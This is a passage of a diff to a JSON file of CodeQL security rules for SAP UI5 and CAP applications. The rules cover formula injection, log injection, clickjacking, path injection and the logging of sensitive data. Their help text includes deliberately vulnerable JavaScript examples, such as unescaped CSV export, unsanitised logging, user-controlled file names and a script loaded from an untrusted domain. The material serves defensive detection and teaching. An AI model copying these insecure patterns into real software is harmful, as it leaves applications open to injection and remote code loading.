in a pair of semicolons (`;`) as CSV separators.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/Controller\",\n \"sap/ui/core/util/File\"\n ], function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSomeEvent: function(oEvent) {\n let response = oEvent.getProperty(\"someProperty\").someField;\n let csvRow = \";\" + response + \";\";\n File.save(csvRow, \"someFile\", \"csv\", \"text/csv\", \"utf-8\");\n }\n });\n });\n```\n\n## References\n\n- OWASP: [CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection).\n- Common Weakness Enumeration: [CWE-1236](https://cwe.mitre.org/data/definitions/1236.html).\n- SAP UI5 API Reference: [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet).\n- SAP UI5 API Reference: [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-451" ], - "description" : "The absence of frame options allows for clickjacking.", - "id" : "js/ui5-clickjacking", - "kind" : "problem", - "name" : "UI5 Clickjacking", + "tags" : [ "security", "external/cwe/cwe-1236" ], + "description" : "Saving data from an uncontrolled remote source using filesystem or local storage\n leads to disclosure of sensitive information or forgery of entry.", + "id" : "js/ui5-formula-injection", + "kind" : "path-problem", + "name" : "UI5 Formula Injection", "precision" : "medium", "problem.severity" : "error", - "security-severity" : "6.1" + "security-severity" : "7.8" } }, { - "id" : "js/ui5-path-injection", - "name" : "js/ui5-path-injection", + "id" : "js/ui5-log-injection", + "name" : "js/ui5-log-injection", "shortDescription" : { - "text" : "UI5 Path Injection" + "text" : "UI5 Log injection" }, "fullDescription" : { - "text" : "Constructing path from an uncontrolled remote source to be passed to a filesystem API allows for manipulation of the local filesystem." + "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Client-side path injection\n\nUI5 applications that access files using a dynamically configured path are vulnerable to injection attacks that allow an attacker to manipulate the file location.\n\n## Recommendation\n\n### Make path argument independent of the user input\n\nIf possible, do not parameterize the path on a user input. Either hardcode the path string in the source, or use only strings that are created within the application.\n\n### Keep an allow-list of safe paths\n\nKeep a strict allow-list of safe paths to load from or send requests to. Before loading a script from a location outside the application or making an API request to a location, check if the path is contained in the list of safe paths. Also, make sure that the allow-list is kept up to date.\n\n### Check the script into the repository or use package managers\n\nSince the URL of the script may be pointing to a web server vulnerable to being hijacked, it may be a good idea to check a stable version of the script into the repository to increase the degree of control. If not possible, use a trusted package manager such as `npm`.\n\n## Example\n\n### Including scripts from an untrusted domain\n\n``` javascript\nsap.ui.require([\n \"sap/ui/dom/includeScript\"\n ],\n function(includeScript) {\n includeScript(\"http://some.vulnerable.domain/some-script.js\");\n }\n);\n```\n\nIf the vulnerable domain is outside the organization and controlled by an untrusted third party, this may result in arbitrary code execution in the user's browser.\n\n### Using user input as a name of a file to be saved\n\nSuppose a controller is configured to receive a response from a server as follows.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/core/util/File\"\n ],\n function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onInit: function() {\n let oDataV2Model = this.getOwnerComponent().getModel(\"some-ODatav2-model\");\n this.getView().setModel(oDataV2Model);\n },\n \n onSomeEvent: function() {\n let remoteResponse = this.getView().getModel().getProperty(\"someProperty\");\n File.save(\"some-content\", remoteResponse, \"txt\", \"text/plain\", \"utf-8\");\n }\n });\n });\n```\n\nEven if the server which updates the OData V2 model is in a trusted domain such as within the organization, the server may still contain tainted information if the UI5 application in question is vulnerable to other security attacks, say XSS. This may allow an attacker to save a file in the victim's local filesystem.\n\n## References\n\n- Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n- Common Weakness Enumeration: [CWE-073](https://cwe.mitre.org/data/definitions/73.html).\n- SAP UI5 API Reference: [`sap.ui.core.util.File`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n- SAP UI5 API Reference: [`sap.ui.dom.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`sap.ui.dom.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeStylesheet).\n- SAP UI5 API Reference: [`jQuery.sap.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`jQuery.sap.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript).\n", - "markdown" : "# Client-side path injection\n\nUI5 applications that access files using a dynamically configured path are vulnerable to injection attacks that allow an attacker to manipulate the file location.\n\n## Recommendation\n\n### Make path argument independent of the user input\n\nIf possible, do not parameterize the path on a user input. Either hardcode the path string in the source, or use only strings that are created within the application.\n\n### Keep an allow-list of safe paths\n\nKeep a strict allow-list of safe paths to load from or send requests to. Before loading a script from a location outside the application or making an API request to a location, check if the path is contained in the list of safe paths. Also, make sure that the allow-list is kept up to date.\n\n### Check the script into the repository or use package managers\n\nSince the URL of the script may be pointing to a web server vulnerable to being hijacked, it may be a good idea to check a stable version of the script into the repository to increase the degree of control. If not possible, use a trusted package manager such as `npm`.\n\n## Example\n\n### Including scripts from an untrusted domain\n\n``` javascript\nsap.ui.require([\n \"sap/ui/dom/includeScript\"\n ],\n function(includeScript) {\n includeScript(\"http://some.vulnerable.domain/some-script.js\");\n }\n);\n```\n\nIf the vulnerable domain is outside the organization and controlled by an untrusted third party, this may result in arbitrary code execution in the user's browser.\n\n### Using user input as a name of a file to be saved\n\nSuppose a controller is configured to receive a response from a server as follows.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/core/util/File\"\n ],\n function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onInit: function() {\n let oDataV2Model = this.getOwnerComponent().getModel(\"some-ODatav2-model\");\n this.getView().setModel(oDataV2Model);\n },\n \n onSomeEvent: function() {\n let remoteResponse = this.getView().getModel().getProperty(\"someProperty\");\n File.save(\"some-content\", remoteResponse, \"txt\", \"text/plain\", \"utf-8\");\n }\n });\n });\n```\n\nEven if the server which updates the OData V2 model is in a trusted domain such as within the organization, the server may still contain tainted information if the UI5 application in question is vulnerable to other security attacks, say XSS. This may allow an attacker to save a file in the victim's local filesystem.\n\n## References\n\n- Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n- Common Weakness Enumeration: [CWE-073](https://cwe.mitre.org/data/definitions/73.html).\n- SAP UI5 API Reference: [`sap.ui.core.util.File`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n- SAP UI5 API Reference: [`sap.ui.dom.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`sap.ui.dom.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeStylesheet).\n- SAP UI5 API Reference: [`jQuery.sap.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`jQuery.sap.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript).\n" + "text" : "# Log Injection\n\nIf an untrusted input, possibly through a UI5 control, is not sanitized and passed onto a logging function, it is possible that a malicious actor submits a crafted input which might lead to forging log entries. If the entries are logged as plaintext, then newline characters may be inserted by the malicious actor. If the entry is interpreted as HTML, then artitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nAvoid directly logging untrusted input from a remote source and sanitize it by replaceing characters so that the input no longer contains control characters and substrings that may be interpreted as HTML.\n\n## Examples\n\nThis UI5 application directly outputs what the user submitted via the `sap.m.Input` control.\n\n``` xml\n\n \n\n```\n\n``` javascript\nsap.ui.define(\n [\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/model/json/JSONModel\",\n \"sap/base/Log/info\",\n ],\n function (Controller, JSONModel, info) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSearchCompleted: function () {\n var oView = this.getView();\n var oSearchField = oView.byId(\"searchTodoItemsInput\");\n var searchValue = oSearchField.getValue();\n info(searchValue); // Sink\n },\n });\n },\n);\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP UI5 Documentation: [namespace `sap/base/Log`](https://sapui5.hana.ondemand.com/sdk/#api/module:sap/base/Log).\n", + "markdown" : "# Log Injection\n\nIf an untrusted input, possibly through a UI5 control, is not sanitized and passed onto a logging function, it is possible that a malicious actor submits a crafted input which might lead to forging log entries. If the entries are logged as plaintext, then newline characters may be inserted by the malicious actor. If the entry is interpreted as HTML, then artitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nAvoid directly logging untrusted input from a remote source and sanitize it by replaceing characters so that the input no longer contains control characters and substrings that may be interpreted as HTML.\n\n## Examples\n\nThis UI5 application directly outputs what the user submitted via the `sap.m.Input` control.\n\n``` xml\n\n \n\n```\n\n``` javascript\nsap.ui.define(\n [\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/model/json/JSONModel\",\n \"sap/base/Log/info\",\n ],\n function (Controller, JSONModel, info) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSearchCompleted: function () {\n var oView = this.getView();\n var oSearchField = oView.byId(\"searchTodoItemsInput\");\n var searchValue = oSearchField.getValue();\n info(searchValue); // Sink\n },\n });\n },\n);\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP UI5 Documentation: [namespace `sap/base/Log`](https://sapui5.hana.ondemand.com/sdk/#api/module:sap/base/Log).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-022", "external/cwe/cwe-035" ], - "description" : "Constructing path from an uncontrolled remote source to be passed\n to a filesystem API allows for manipulation of the local filesystem.", - "id" : "js/ui5-path-injection", + "tags" : [ "security", "external/cwe/cwe-117" ], + "description" : "Building log entries from user-controlled sources is vulnerable to\n insertion of forged log entries by a malicious user.", + "id" : "js/ui5-log-injection", "kind" : "path-problem", - "name" : "UI5 Path Injection", + "name" : "UI5 Log injection", "precision" : "medium", "problem.severity" : "error", "security-severity" : "7.8" } }, { - "id" : "js/ui5-log-injection", - "name" : "js/ui5-log-injection", + "id" : "js/ui5-clickjacking", + "name" : "js/ui5-clickjacking", "shortDescription" : { - "text" : "UI5 Log injection" + "text" : "UI5 Clickjacking" }, "fullDescription" : { - "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user." + "text" : "The absence of frame options allows for clickjacking." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Log Injection\n\nIf an untrusted input, possibly through a UI5 control, is not sanitized and passed onto a logging function, it is possible that a malicious actor submits a crafted input which might lead to forging log entries. If the entries are logged as plaintext, then newline characters may be inserted by the malicious actor. If the entry is interpreted as HTML, then artitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nAvoid directly logging untrusted input from a remote source and sanitize it by replaceing characters so that the input no longer contains control characters and substrings that may be interpreted as HTML.\n\n## Examples\n\nThis UI5 application directly outputs what the user submitted via the `sap.m.Input` control.\n\n``` xml\n\n \n\n```\n\n``` javascript\nsap.ui.define(\n [\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/model/json/JSONModel\",\n \"sap/base/Log/info\",\n ],\n function (Controller, JSONModel, info) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSearchCompleted: function () {\n var oView = this.getView();\n var oSearchField = oView.byId(\"searchTodoItemsInput\");\n var searchValue = oSearchField.getValue();\n info(searchValue); // Sink\n },\n });\n },\n);\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP UI5 Documentation: [namespace `sap/base/Log`](https://sapui5.hana.ondemand.com/sdk/#api/module:sap/base/Log).\n", - "markdown" : "# Log Injection\n\nIf an untrusted input, possibly through a UI5 control, is not sanitized and passed onto a logging function, it is possible that a malicious actor submits a crafted input which might lead to forging log entries. If the entries are logged as plaintext, then newline characters may be inserted by the malicious actor. If the entry is interpreted as HTML, then artitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nAvoid directly logging untrusted input from a remote source and sanitize it by replaceing characters so that the input no longer contains control characters and substrings that may be interpreted as HTML.\n\n## Examples\n\nThis UI5 application directly outputs what the user submitted via the `sap.m.Input` control.\n\n``` xml\n\n \n\n```\n\n``` javascript\nsap.ui.define(\n [\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/model/json/JSONModel\",\n \"sap/base/Log/info\",\n ],\n function (Controller, JSONModel, info) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSearchCompleted: function () {\n var oView = this.getView();\n var oSearchField = oView.byId(\"searchTodoItemsInput\");\n var searchValue = oSearchField.getValue();\n info(searchValue); // Sink\n },\n });\n },\n);\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP UI5 Documentation: [namespace `sap/base/Log`](https://sapui5.hana.ondemand.com/sdk/#api/module:sap/base/Log).\n" + "text" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n frameOptions: \"deny\",\n ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n\n\n \n ...\n \n\n \n \n ...\n\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n", + "markdown" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n frameOptions: \"deny\",\n ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n\n\n \n ...\n \n\n \n \n ...\n\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-117" ], - "description" : "Building log entries from user-controlled sources is vulnerable to\n insertion of forged log entries by a malicious user.", - "id" : "js/ui5-log-injection", - "kind" : "path-problem", - "name" : "UI5 Log injection", + "tags" : [ "security", "external/cwe/cwe-451" ], + "description" : "The absence of frame options allows for clickjacking.", + "id" : "js/ui5-clickjacking", + "kind" : "problem", + "name" : "UI5 Clickjacking", "precision" : "medium", "problem.severity" : "error", - "security-severity" : "7.8" + "security-severity" : "6.1" } }, { - "id" : "js/ui5-formula-injection", - "name" : "js/ui5-formula-injection", + "id" : "js/ui5-path-injection", + "name" : "js/ui5-path-injection", "shortDescription" : { - "text" : "UI5 Formula Injection" + "text" : "UI5 Path Injection" }, "fullDescription" : { - "text" : "Saving data from an uncontrolled remote source using filesystem or local storage leads to disclosure of sensitive information or forgery of entry." + "text" : "Constructing path from an uncontrolled remote source to be passed to a filesystem API allows for manipulation of the local filesystem." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Formula injection\n\nUI5 applications that save local data, fetched from an uncontrolled remote source, into a CSV file format using generic APIs such as [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save) are vulnerable to formula injection, or CSV injection.\n\n## Recommendation\n\n### Escape the leading special characters\n\nCSV cells containing leading special characters such as an equal sign (`=`) may be interpreted as spreadsheet formulas. To prevent them from being interpreted these prefixes should be escaped by surrounding the prefixes with single quotes in order to keep them as literal strings.\n\n### Use a dedicated API function\n\nManual construction of a CSV file using string concatenation is prone to mistakes that can lead to security issues. Instead, a dedicated library function should be used. For example, if the target being exported is a [`sap.m.Table`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.m.Table) and the resulting file is to intended to be opened using a spreadsheet program anyways, then using one of the API functions provided by [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet) is the preferred method of achieving the same exporting functionality.\n\n## Example\n\nThe following controller is exporting a CSV file obtained from an event parameter by surrounding it in a pair of semicolons (`;`) as CSV separators.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/Controller\",\n \"sap/ui/core/util/File\"\n ], function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSomeEvent: function(oEvent) {\n let response = oEvent.getProperty(\"someProperty\").someField;\n let csvRow = \";\" + response + \";\";\n File.save(csvRow, \"someFile\", \"csv\", \"text/csv\", \"utf-8\");\n }\n });\n });\n```\n\n## References\n\n- OWASP: [CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection).\n- Common Weakness Enumeration: [CWE-1236](https://cwe.mitre.org/data/definitions/1236.html).\n- SAP UI5 API Reference: [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet).\n- SAP UI5 API Reference: [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n", - "markdown" : "# Formula injection\n\nUI5 applications that save local data, fetched from an uncontrolled remote source, into a CSV file format using generic APIs such as [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save) are vulnerable to formula injection, or CSV injection.\n\n## Recommendation\n\n### Escape the leading special characters\n\nCSV cells containing leading special characters such as an equal sign (`=`) may be interpreted as spreadsheet formulas. To prevent them from being interpreted these prefixes should be escaped by surrounding the prefixes with single quotes in order to keep them as literal strings.\n\n### Use a dedicated API function\n\nManual construction of a CSV file using string concatenation is prone to mistakes that can lead to security issues. Instead, a dedicated library function should be used. For example, if the target being exported is a [`sap.m.Table`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.m.Table) and the resulting file is to intended to be opened using a spreadsheet program anyways, then using one of the API functions provided by [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet) is the preferred method of achieving the same exporting functionality.\n\n## Example\n\nThe following controller is exporting a CSV file obtained from an event parameter by surrounding it in a pair of semicolons (`;`) as CSV separators.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/Controller\",\n \"sap/ui/core/util/File\"\n ], function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSomeEvent: function(oEvent) {\n let response = oEvent.getProperty(\"someProperty\").someField;\n let csvRow = \";\" + response + \";\";\n File.save(csvRow, \"someFile\", \"csv\", \"text/csv\", \"utf-8\");\n }\n });\n });\n```\n\n## References\n\n- OWASP: [CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection).\n- Common Weakness Enumeration: [CWE-1236](https://cwe.mitre.org/data/definitions/1236.html).\n- SAP UI5 API Reference: [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet).\n- SAP UI5 API Reference: [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n" + "text" : "# Client-side path injection\n\nUI5 applications that access files using a dynamically configured path are vulnerable to injection attacks that allow an attacker to manipulate the file location.\n\n## Recommendation\n\n### Make path argument independent of the user input\n\nIf possible, do not parameterize the path on a user input. Either hardcode the path string in the source, or use only strings that are created within the application.\n\n### Keep an allow-list of safe paths\n\nKeep a strict allow-list of safe paths to load from or send requests to. Before loading a script from a location outside the application or making an API request to a location, check if the path is contained in the list of safe paths. Also, make sure that the allow-list is kept up to date.\n\n### Check the script into the repository or use package managers\n\nSince the URL of the script may be pointing to a web server vulnerable to being hijacked, it may be a good idea to check a stable version of the script into the repository to increase the degree of control. If not possible, use a trusted package manager such as `npm`.\n\n## Example\n\n### Including scripts from an untrusted domain\n\n``` javascript\nsap.ui.require([\n \"sap/ui/dom/includeScript\"\n ],\n function(includeScript) {\n includeScript(\"http://some.vulnerable.domain/some-script.js\");\n }\n);\n```\n\nIf the vulnerable domain is outside the organization and controlled by an untrusted third party, this may result in arbitrary code execution in the user's browser.\n\n### Using user input as a name of a file to be saved\n\nSuppose a controller is configured to receive a response from a server as follows.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/core/util/File\"\n ],\n function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onInit: function() {\n let oDataV2Model = this.getOwnerComponent().getModel(\"some-ODatav2-model\");\n this.getView().setModel(oDataV2Model);\n },\n \n onSomeEvent: function() {\n let remoteResponse = this.getView().getModel().getProperty(\"someProperty\");\n File.save(\"some-content\", remoteResponse, \"txt\", \"text/plain\", \"utf-8\");\n }\n });\n });\n```\n\nEven if the server which updates the OData V2 model is in a trusted domain such as within the organization, the server may still contain tainted information if the UI5 application in question is vulnerable to other security attacks, say XSS. This may allow an attacker to save a file in the victim's local filesystem.\n\n## References\n\n- Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n- Common Weakness Enumeration: [CWE-073](https://cwe.mitre.org/data/definitions/73.html).\n- SAP UI5 API Reference: [`sap.ui.core.util.File`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n- SAP UI5 API Reference: [`sap.ui.dom.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`sap.ui.dom.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeStylesheet).\n- SAP UI5 API Reference: [`jQuery.sap.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`jQuery.sap.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript).\n", + "markdown" : "# Client-side path injection\n\nUI5 applications that access files using a dynamically configured path are vulnerable to injection attacks that allow an attacker to manipulate the file location.\n\n## Recommendation\n\n### Make path argument independent of the user input\n\nIf possible, do not parameterize the path on a user input. Either hardcode the path string in the source, or use only strings that are created within the application.\n\n### Keep an allow-list of safe paths\n\nKeep a strict allow-list of safe paths to load from or send requests to. Before loading a script from a location outside the application or making an API request to a location, check if the path is contained in the list of safe paths. Also, make sure that the allow-list is kept up to date.\n\n### Check the script into the repository or use package managers\n\nSince the URL of the script may be pointing to a web server vulnerable to being hijacked, it may be a good idea to check a stable version of the script into the repository to increase the degree of control. If not possible, use a trusted package manager such as `npm`.\n\n## Example\n\n### Including scripts from an untrusted domain\n\n``` javascript\nsap.ui.require([\n \"sap/ui/dom/includeScript\"\n ],\n function(includeScript) {\n includeScript(\"http://some.vulnerable.domain/some-script.js\");\n }\n);\n```\n\nIf the vulnerable domain is outside the organization and controlled by an untrusted third party, this may result in arbitrary code execution in the user's browser.\n\n### Using user input as a name of a file to be saved\n\nSuppose a controller is configured to receive a response from a server as follows.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/mvc/Controller\",\n \"sap/ui/core/util/File\"\n ],\n function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onInit: function() {\n let oDataV2Model = this.getOwnerComponent().getModel(\"some-ODatav2-model\");\n this.getView().setModel(oDataV2Model);\n },\n \n onSomeEvent: function() {\n let remoteResponse = this.getView().getModel().getProperty(\"someProperty\");\n File.save(\"some-content\", remoteResponse, \"txt\", \"text/plain\", \"utf-8\");\n }\n });\n });\n```\n\nEven if the server which updates the OData V2 model is in a trusted domain such as within the organization, the server may still contain tainted information if the UI5 application in question is vulnerable to other security attacks, say XSS. This may allow an attacker to save a file in the victim's local filesystem.\n\n## References\n\n- Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n- Common Weakness Enumeration: [CWE-073](https://cwe.mitre.org/data/definitions/73.html).\n- SAP UI5 API Reference: [`sap.ui.core.util.File`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n- SAP UI5 API Reference: [`sap.ui.dom.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`sap.ui.dom.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeStylesheet).\n- SAP UI5 API Reference: [`jQuery.sap.includeScript`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript) and [`jQuery.sap.includeStyleSheet`](https://sapui5.hana.ondemand.com/sdk/#/api/module:sap/ui/dom/includeScript).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-1236" ], - "description" : "Saving data from an uncontrolled remote source using filesystem or local storage\n leads to disclosure of sensitive information or forgery of entry.", - "id" : "js/ui5-formula-injection", + "tags" : [ "security", "external/cwe/cwe-022", "external/cwe/cwe-035" ], + "description" : "Constructing path from an uncontrolled remote source to be passed\n to a filesystem API allows for manipulation of the local filesystem.", + "id" : "js/ui5-path-injection", "kind" : "path-problem", - "name" : "UI5 Formula Injection", + "name" : "UI5 Path Injection", "precision" : "medium", "problem.severity" : "error", "security-severity" : "7.8" @@ -2985,7 +2985,7 @@ } ] }, { "name" : "advanced-security/javascript-sap-cap-queries", - "semanticVersion" : "0.2.0+c94eafdc33da5596916ef1e4345694bfc67155c3", + "semanticVersion" : "0.2.0+417cfc0dcf0d93d19d4b340716e40e8428c51d67", "rules" : [ { "id" : "js/cap-sql-injection", "name" : "js/cap-sql-injection", @@ -3040,6 +3040,33 @@ "problem.severity" : "error", "security-severity" : "6.1" } + }, { + "id" : "javascript/sensitive-log", + "name" : "javascript/sensitive-log", + "shortDescription" : { + "text" : "Insertion of sensitive information into log files" + }, + "fullDescription" : { + "text" : "Writing sensitive information to log files can allow that information to be leaked to an attacker more easily." + }, + "defaultConfiguration" : { + "enabled" : true, + "level" : "warning" + }, + "help" : { + "text" : " # CAP Insertion of Sensitive Information into Log File\n\nIf sensitive information is written to a log entry using the CAP Node.js logging API, a malicious user may be able to gain access to user data.\n\nData annotated as `@PersonalData` should not be logged.\n\n## Recommendation\n\nCAP applications should not log sensitive information. Check CDS declarations for annotations before logging certain data types or fields.\n\n## Examples\n\nThis CAP service directly logs the sensitive information.\n\n```cds\nnamespace advanced_security.log_exposure.sample_entities;\n\nentity Sample {\n name : String(111);\n}\n\n// annotations for Data Privacy\nannotate Sample with\n@PersonalData : { DataSubjectRole : 'Sample', EntitySemantics : 'DataSubject' }\n{\n name 